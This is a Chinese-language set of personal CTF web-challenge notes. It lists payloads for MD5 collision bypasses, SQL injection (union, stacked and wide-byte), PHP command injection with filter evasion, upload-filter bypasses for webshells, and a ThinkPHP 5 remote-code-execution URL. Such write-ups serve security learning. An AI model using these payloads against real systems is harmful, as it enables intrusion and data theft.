囫囵吞枣式做题,留个做题思路的简单记录和参考免得全忘了。
1. easy_web
index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
对参数img的内容两次base64,一次hex解密,得到555.pnf0。按照许多wp写的那样,这里应该是555.png才对,不知道是故意的还是不小心。
到了这里,已然发现参数img可以用来读取文件。用555.pnf0加密的方法加密index.php,再通过img提交。
payload(使用参数img读取index.php内容):
index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
查看源代码,然后将img的内容进行base64解密,得到index.php源码。
分析源码,发现其禁用了许多字符。且唯有当a的值不等于b的值且他们的md5值相等时,页面才会输出cmd执行后的值。
这里可以用以下内容进行MD5强绕过:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&=
以上尾部标紫的&=暂时不知道是什么,看很多人的WP中没有这部分,但是我不加的话题目就无法正常回显。
考虑到对cmd过滤的内容,通过dir+/查看根目录内容,发现flag。
代码审计,绕过cmd过滤。
payload:ca\t+/flag
【参考】
https://www.cnblogs.com/rabbittt/p/13303955.html
BUUCTF WEB [安洵杯 2019]easy_web 1 WP_是路酒呀的博客-CSDN博客
buuctf [安洵杯 2019]easy_web 记录_penson by 小乌的博客-CSDN博客
2. chengjidan
简单判断出这题参数通过POST方式提交(看源码和url)。
简单判断出闭合方式为单引号。再简单判断出列数为4。
再简单找出四个回显位。
开始注入。
3. sqli-search
简单判断出参数提交方式为POST(源码和url),闭合方式为单引号。
通过测试,这道题只能通过报错注入做出。
4. sqli-stack_injection
直奔主题,进行注入。
?inject=1'+union+select+1,group_concat(column_name)from+information_schema.columns+where+table_schema=database()+and+table_name='1919810931114514'--+
到这里,常规命令就行不通了,需要涉及到堆叠注入的知识。先看一下另一个表的结构。
将表words重命名为words1,将表1919810931114514重命名为words,再将列名flag改为原words表的id。然后就可以查询id字段得到flag了。
【参考】
Stacked Queries(堆叠注入)_zhang三的博客-CSDN博客
5. upload-1
审核源码,发现js限制了上传文件的类型,根据提示:js说不让你上传。那就禁用js好了。
上传成功后,发现不知道文件路径。查看源码,发现路径。
蚁剑连接。
根目录发现flag。
6. upload-2
将Content-Type由application/octet-stream改为image/png成功绕过。
蚁剑连接,根目录发现flag。
【参考】文件上传绕过各种姿势_ChengggNo1的博客-CSDN博客
7. upload-3
随便上传一个,出现如下提示,可知此题为黑名单绕过。
Burpsuite抓包,不断尝试修改后缀为php5,php4…直到php3蚁剑连接成功。
8. upload-4
编写.htaccess文件,保存为所有文件,上传。
修改木马后缀为jpg。蚁剑连接成功。
9. upload-5
后缀后面随便加个不存在的后缀,上传成功。
蚁剑连接成功。
10.php_eval
payload:?x=system("ls");
flag.php html index.php
payload:?x=var_dump(file(%22flag.php%22));
查看源代码(一般这种题flag不会直接回显到页面,需要查看源代码):
11. php_assert
?a=system("ls");
flag.php html index.php
?a=var_dump(file("flag.php"));
查看源代码:
12. php_preg_replace
preg_replace("/moon/e",$_REQUESTshell'],"I love moon"); 这行代码使用 PHP 的 preg_replace 函数,将字符串 "I love moon" 中的所有 "moon" 替换为 $_REQUEST['shell'] 中的内容。其中,"/moon/e" 是一个正则表达式,表示要匹配的字符串是 "moon","e" 标志表示将替换字符串作为 PHP 代码执行。这意味着, $_REQUEST['shell'] 中包含 PHP 代码,它将被执行。GPT
?shell=system("ls");
flag.php html index.php
?shell=var_dump(file("flag.php"));
查看源代码:
13. php_call_user_func
call_user_func($_GET['666'], $_GET['six']); 这行代码使用 PHP 的 call_user_func 函数,调用名为 $_GET['666'] 的函数将 $_GET['six'] 作为参数传递给该函数。这意味着,$_GET['666'] 中包含函数名,$_GET['six'] 中包含函数参数。GPT
?666=system&six=ls
flag.php html index.php
?666=system&six=cat flag.php
14. call_user_func_array
?joker=system&king[]=ls
flag.php html index.php
?joker=system&king[]=cat flag.php
15. php_create_function
?aK762=system("cat flag.php");
16. php_system
?system_pass=ls
flag.php html index.php
?system_pass=cat%20flag.php
18. php_eval_1
?c=system("ls");
flag.php html index.php
反引号绕过:?c=system("cat%20`ls`");
【参考】
命令执行(RCE)面对各种过滤,骚姿势绕过总结 - 知乎
19. php_eval_2
url编码绕过system过滤,dir未被过滤:
?sec=%73%79%73%74%65%6D(%27dir%27);
转义符号绕过ls过滤:
?sec=%73%79%73%74%65%6D(%27l\s%27);
flag.php html index.php
反引号内敛执行绕过:
?sec=%73%79%73%74%65%6D(%27c\at `ls`%27);
20. easy-php-1
题目对部分关键字和函数进行了过滤,可以通过取反绕过过滤。
Payload:
echo urlencode(~'print_r'); //urlencode url编码 ~ 取反
echo "\n";
echo urlencode(~'scandir');
echo "\n";
echo urlencode(~'.');
echo "\n";
echo urlencode(~'highlight_file');
echo "\n";
echo urlencode(~'flag.php');
print_r(scandir('.')) //打印当前目录下的文件
/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)))
回显:Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
显示flag.php
highlight_file('flag.php')
?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F))
回显:
【参考】https://www.cnblogs.com/trevain/p/14272674.html
21. thinkphp5
利用ThinkPHP 5的一个严重的远程代码执行漏洞:程序未对控制器进行过滤,导致攻击者可以用 \(斜杠)调用任意类方法。
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/
回显:
bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var var
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag.txt
回显:
【参考】攻防世界 ThinkPHP V5(漏洞解析及利用)_thinkphp v5这么有名的漏洞,直接网上找poc_高木正雄的博客-CSDN博客
22. ping
方法为绕过ping执行其他命令。此题禁用了空格,flag,常见符号等。
?ip=127.0.0.1;ls
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
查看源代码
【参考】ctf-ping命令执行_ctf ping_XingHe_0的博客-CSDN博客
23. easy_md5
弱类型比较绕过。
法一:采用前方第一道题的绕过payload即可绕过。
?a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&=
法二:md5强比较,此时如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,而且不会报错,就会得到===强比较的值相等。
?a[]=111&b[]=222
【参考】
【PHP】MD5比较漏洞 弱比较、强比较、强碰撞_php强比较_小 白 萝 卜的博客-CSDN博客
https://www.cnblogs.com/kuaile1314/p/11968108.html
24. middle_md5
方法基本同上一题,不过是md5绕过的不同形式罢了。
25. number_and_switch
16进制加单引号绕过函数is_numeric()。
?num=0x123456%27
【参考】
BUUCTF- is_numeric() 和 ==弱比较-绕过waf_双层小牛堡的博客-CSDN博客
ctfshow php特性系列_"include(\"flag.php\"); highlight_file(__file__);"_xiaolong22333的博客-CSDN博客
[CTF]php is_numeric绕过_ctf is_numeric绕过_真·skysys的博客-CSDN博客
25. ereg
利用ereg函数的%00截断漏洞。函数strrev(),字符串反转。函数intval(),获取变量的整数值。
首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制。
payload:c=a%00778
26. extract
extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
如果$gift == $content则输出flag,所以可以利用引用的特性,使得它们一定相等。
payload:?gift=&content
【参考】bugku ctf 代码审计 extract变量覆盖_ctf extract_就是217的博客-CSDN博客
27. exec
和上面那道ping题差不多一样的绕过方法,只不过这道题的过滤要更加严格些,payload需要更加复杂点。
payload:
?ip=127.0.0.1;b=ag;a=fl;c=ca;d=t;$c$d$IFS/var/www/$a$b.php
查看源代码:
28. sqli-chinasql
宽字节注入
?id=-1%df%27union%20select%201,2,database()--+
?id=-1%df%27union%20select%201,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+
?id=-1%df%27union%20select%201,2,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema = database() limit 0,1)--+
?id=-1%df%27union%20select%201,2,flag from flag--+
【参考】宽字节注入靶场练习_回声777的博客-CSDN博客
29. Ezpop
这个题我一开始以为要利用引用,后来发现不对。直接手搓值相等就可以了。通过以下代码得到需要的str序列化值:
$KEY = 'admin';
$str=&$KEY;
echo serialize($str);
s:5:"admin";
payload:?str=s:5:"admin";
30. Ezpop-1
通过反序列化给shell.php文件写入值。
?test=O:6:"Decade":1:{s:4:"test";s:20:"";}
?test=O:6:"Decade":1:{s:4:"test";s:23:"";}
?test=O:6:"Decade":1:{s:4:"test";s:28:"";}
【参考】
php反序列化漏洞_Shanfenglan7的博客-CSDN博客
https://www.cnblogs.com/bmjoker/p/8889240.html